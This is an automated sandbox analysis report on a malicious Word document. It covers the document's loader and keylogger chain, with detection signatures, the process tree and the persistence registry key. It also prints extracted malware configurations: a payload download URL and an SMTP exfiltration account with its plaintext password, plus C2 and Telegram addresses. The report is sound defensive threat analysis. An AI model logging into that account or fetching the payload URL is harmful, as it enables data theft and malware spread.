Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
ENQ-0092025.doc

Overview

General Information

Sample name:ENQ-0092025.doc
Analysis ID:1585295
MD5:3db6baf168cecc916012a59b6530175a
SHA1:7d74c680b09f982271a50483ce350a5b3d9a0996
SHA256:96882b077a607f34cd963461341d728982e2075ffd4891f1b91e915da904cfe0
Tags:docuser-abuse_ch
Infos:

Detection

DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Document exploit detected (creates forbidden files)
Document exploit detected (drops PE files)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DBatLoader
Yara detected PureLog Stealer
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains method to dynamically call methods (often used by packers)
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Document contains an embedded VBA with functions possibly related to ADO stream file operations
Document contains an embedded VBA with functions possibly related to HTTP operations
Document exploit detected (process start blacklist hit)
Drops PE files with a suspicious file extension
Drops executables to the windows directory (C:\Windows) and starts them
Machine Learning detection for sample
Office process drops PE file
Office process queries suspicious COM object (likely to drop second stage)
Sample is not signed and drops a device driver
Sample uses process hollowing technique
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Execution from Suspicious Folder
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Suspicious Program Location with Network Connections
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to launch a process as a different user
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious Outbound SMTP Connections
Suricata IDS alerts with low severity for network traffic
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • WINWORD.EXE (PID: 1892 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)
    • brightness.exe (PID: 2072 cmdline: C:\Windows\SysWOW64\brightness.exe MD5: 483AB6BD562B28782D0999ABEC4F57F5)
      • cmd.exe (PID: 6984 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • jphwmyiA.pif (PID: 6396 cmdline: C:\Users\Public\Libraries\jphwmyiA.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • Aiymwhpj.PIF (PID: 1020 cmdline: "C:\Users\Public\Libraries\Aiymwhpj.PIF" MD5: 483AB6BD562B28782D0999ABEC4F57F5)
    • cmd.exe (PID: 6728 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • jphwmyiA.pif (PID: 2228 cmdline: C:\Users\Public\Libraries\jphwmyiA.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • Aiymwhpj.PIF (PID: 3788 cmdline: "C:\Users\Public\Libraries\Aiymwhpj.PIF" MD5: 483AB6BD562B28782D0999ABEC4F57F5)
    • cmd.exe (PID: 4956 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 5024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • jphwmyiA.pif (PID: 5476 cmdline: C:\Users\Public\Libraries\jphwmyiA.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DBatLoaderThis Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader
NameDescriptionAttributionBlogpost URLsLink
404 Keylogger, Snake KeyloggerSnake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["http://amazonenviro.com/245_Aiymwhpjxsg"]}

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000008.00000002.2213632449.00000000022C6000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security
    00000014.00000002.3410815376.0000000000B90000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security
      0000000C.00000002.3446215142.0000000027271000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        0000000C.00000002.3446215142.0000000027271000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
          0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmpMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x2018a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1fdd0:$s5: delete[]
          • 0x1f288:$s6: constructor or from DllMain.
          Click to see the 117 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          20.2.jphwmyiA.pif.400000.1.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x2018a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1fdd0:$s5: delete[]
          • 0x1f288:$s6: constructor or from DllMain.
          13.2.Aiymwhpj.PIF.211f67a8.6.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x38cb0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x39330:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1d98a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1d5d0:$s5: delete[]
          • 0x1ca88:$s6: constructor or from DllMain.
          20.2.jphwmyiA.pif.400000.1.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1e9d0:$s5: delete[]
          • 0x1de88:$s6: constructor or from DllMain.
          20.1.jphwmyiA.pif.400000.0.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x700:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x1ed8a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1e9d0:$s5: delete[]
          • 0x1de88:$s6: constructor or from DllMain.
          16.1.jphwmyiA.pif.400000.0.raw.unpackMALWARE_Win_RedLineDetects RedLine infostealerditekSHen
          • 0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00
          • 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E
          • 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ...
          • 0x2018a:$s4: B|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B
          • 0x1fdd0:$s5: delete[]
          • 0x1f288:$s6: constructor or from DllMain.
          Click to see the 285 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
          Source: File createdAuthor: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 2072, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll
          Sigma detected: Execution from Suspicious Folder
          Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\jphwmyiA.pif, CommandLine: C:\Users\Public\Libraries\jphwmyiA.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\jphwmyiA.pif, NewProcessName: C:\Users\Public\Libraries\jphwmyiA.pif, OriginalFileName: C:\Users\Public\Libraries\jphwmyiA.pif, ParentCommandLine: C:\Windows\SysWOW64\brightness.exe, ParentImage: C:\Windows\SysWOW64\brightness.exe, ParentProcessId: 2072, ParentProcessName: brightness.exe, ProcessCommandLine: C:\Users\Public\Libraries\jphwmyiA.pif, ProcessId: 6396, ProcessName: jphwmyiA.pif
          Sigma detected: File With Uncommon Extension Created By An Office Application
          Source: File createdAuthor: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 1892, TargetFilename: C:\Windows\SysWOW64\brightness.exe
          Sigma detected: Files With System Process Name In Unsuspected Locations
          Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 2072, TargetFilename: C:\Windows \SysWOW64\svchost.exe
          Sigma detected: New RUN Key Pointing to Suspicious Folder
          Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Aiymwhpj.url, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 2072, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Aiymwhpj
          Sigma detected: Parent in Public Folder Suspicious Process
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Libraries\Aiymwhpj.PIF" , ParentImage: C:\Users\Public\Libraries\Aiymwhpj.PIF, ParentProcessId: 1020, ParentProcessName: Aiymwhpj.PIF, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, ProcessId: 6728, ProcessName: cmd.exe
          Sigma detected: Suspicious Program Location with Network Connections
          Source: Network ConnectionAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 132.226.8.169, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\jphwmyiA.pif, Initiated: true, ProcessId: 6396, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49733
          Sigma detected: CurrentVersion Autorun Keys Modification
          Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Aiymwhpj.url, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 2072, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Aiymwhpj
          Sigma detected: Execution of Suspicious File Type Extension
          Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\jphwmyiA.pif, CommandLine: C:\Users\Public\Libraries\jphwmyiA.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\jphwmyiA.pif, NewProcessName: C:\Users\Public\Libraries\jphwmyiA.pif, OriginalFileName: C:\Users\Public\Libraries\jphwmyiA.pif, ParentCommandLine: C:\Windows\SysWOW64\brightness.exe, ParentImage: C:\Windows\SysWOW64\brightness.exe, ParentProcessId: 2072, ParentProcessName: brightness.exe, ProcessCommandLine: C:\Users\Public\Libraries\jphwmyiA.pif, ProcessId: 6396, ProcessName: jphwmyiA.pif
          Sigma detected: Suspicious Office Outbound Connections
          Source: Network ConnectionAuthor: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.5, DestinationIsIpv6: false, DestinationPort: 49710, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Initiated: true, ProcessId: 1892, Protocol: tcp, SourceIp: 147.124.216.113, SourceIsIpv6: false, SourcePort: 80
          Sigma detected: Suspicious Outbound SMTP Connections
          Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 208.91.198.176, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\Public\Libraries\jphwmyiA.pif, Initiated: true, ProcessId: 6396, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49989

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2025-01-07T13:25:20.204571+010028033053Unknown Traffic192.168.2.549802188.114.97.3443TCP
          2025-01-07T13:25:26.189834+010028033053Unknown Traffic192.168.2.549843188.114.97.3443TCP
          2025-01-07T13:25:29.296135+010028033053Unknown Traffic192.168.2.549866188.114.97.3443TCP
          2025-01-07T13:25:30.506587+010028033053Unknown Traffic192.168.2.549879188.114.97.3443TCP
          2025-01-07T13:25:32.098031+010028033053Unknown Traffic192.168.2.549896188.114.97.3443TCP
          2025-01-07T13:25:33.925471+010028033053Unknown Traffic192.168.2.549912188.114.97.3443TCP
          2025-01-07T13:25:34.061984+010028033053Unknown Traffic192.168.2.549913188.114.97.3443TCP
          2025-01-07T13:25:34.145521+010028033053Unknown Traffic192.168.2.549914188.114.97.3443TCP
          2025-01-07T13:25:40.157761+010028033053Unknown Traffic192.168.2.549968188.114.97.3443TCP
          2025-01-07T13:25:42.997193+010028033053Unknown Traffic192.168.2.549996188.114.97.3443TCP
          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2025-01-07T13:25:17.212528+010028032742Potentially Bad Traffic192.168.2.549733132.226.8.16980TCP
          2025-01-07T13:25:19.602455+010028032742Potentially Bad Traffic192.168.2.549733132.226.8.16980TCP
          2025-01-07T13:25:23.336682+010028032742Potentially Bad Traffic192.168.2.549807132.226.8.16980TCP
          2025-01-07T13:25:25.601243+010028032742Potentially Bad Traffic192.168.2.549831132.226.8.16980TCP
          2025-01-07T13:25:26.078233+010028032742Potentially Bad Traffic192.168.2.549813132.226.8.16980TCP
          2025-01-07T13:25:27.143228+010028032742Potentially Bad Traffic192.168.2.549848132.226.8.16980TCP
          2025-01-07T13:25:30.116047+010028032742Potentially Bad Traffic192.168.2.549813132.226.8.16980TCP
          2025-01-07T13:25:30.300073+010028032742Potentially Bad Traffic192.168.2.549872132.226.8.16980TCP
          2025-01-07T13:25:31.350398+010028032742Potentially Bad Traffic192.168.2.549886132.226.8.16980TCP
          2025-01-07T13:25:31.522386+010028032742Potentially Bad Traffic192.168.2.549872132.226.8.16980TCP
          2025-01-07T13:25:33.569168+010028032742Potentially Bad Traffic192.168.2.549904132.226.8.16980TCP
          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2025-01-07T13:25:34.976314+010018100071Potentially Bad Traffic192.168.2.549920149.154.167.220443TCP
          2025-01-07T13:25:42.243631+010018100071Potentially Bad Traffic192.168.2.549986149.154.167.220443TCP
          2025-01-07T13:25:43.911647+010018100071Potentially Bad Traffic192.168.2.550001149.154.167.220443TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus / Scanner detection for submitted sample
          Source: ENQ-0092025.docAvira: detected
          Found malware configuration
          Source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}
          Source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpackMalware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}
          Source: 8.0.brightness.exe.400000.0.unpackMalware Configuration Extractor: DBatLoader {"Download Url": ["http://amazonenviro.com/245_Aiymwhpjxsg"]}
          Multi AV Scanner detection for submitted file
          Source: ENQ-0092025.docReversingLabs: Detection: 57%
          Machine Learning detection for sample
          Source: ENQ-0092025.docJoe Sandbox ML: detected

          Location Tracking

          barindex
          Tries to detect the country of the analysis system (by using the IP)
          Source: unknownDNS query: name: reallyfreegeoip.org

          Compliance

          barindex
          Detected unpacking (overwrites its own PE header)
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 12.2.jphwmyiA.pif.400000.0.unpack
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 16.2.jphwmyiA.pif.400000.1.unpack
          Source: C:\Users\Public\Libraries\jphwmyiA.pifUnpacked PE file: 20.2.jphwmyiA.pif.400000.1.unpack
          Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49795 version: TLS 1.0
          Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49871 version: TLS 1.0
          Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49887 version: TLS 1.0
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dllJump to behavior
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49920 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49986 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:50001 version: TLS 1.2
          Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2200013988.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230547224.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2232389580.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199559053.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318831229.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2359054584.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002534000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: easinvoker.pdb source: brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230785597.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2198932373.000000007F410000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.000000000251A000.00000004.00001000.00020000.00000000.sdmp
          Source: Binary string: _.pdb source: jphwmyiA.pif, 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000003.2235153147.000000002455F000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2336023047.0000000018834000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000003.2431587396.0000000028445000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp
          Source: Binary string: easinvoker.pdbGCTL source: brightness.exe, 00000008.00000002.2230547224.0000000021382000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2228361462.0000000020510000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2230785597.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2199849372.0000000000874000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000003.2198932373.000000007F410000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.0000000002460000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000002.2330274971.000000000251A000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318408948.000000000070E000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000D.00000003.2318408948.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 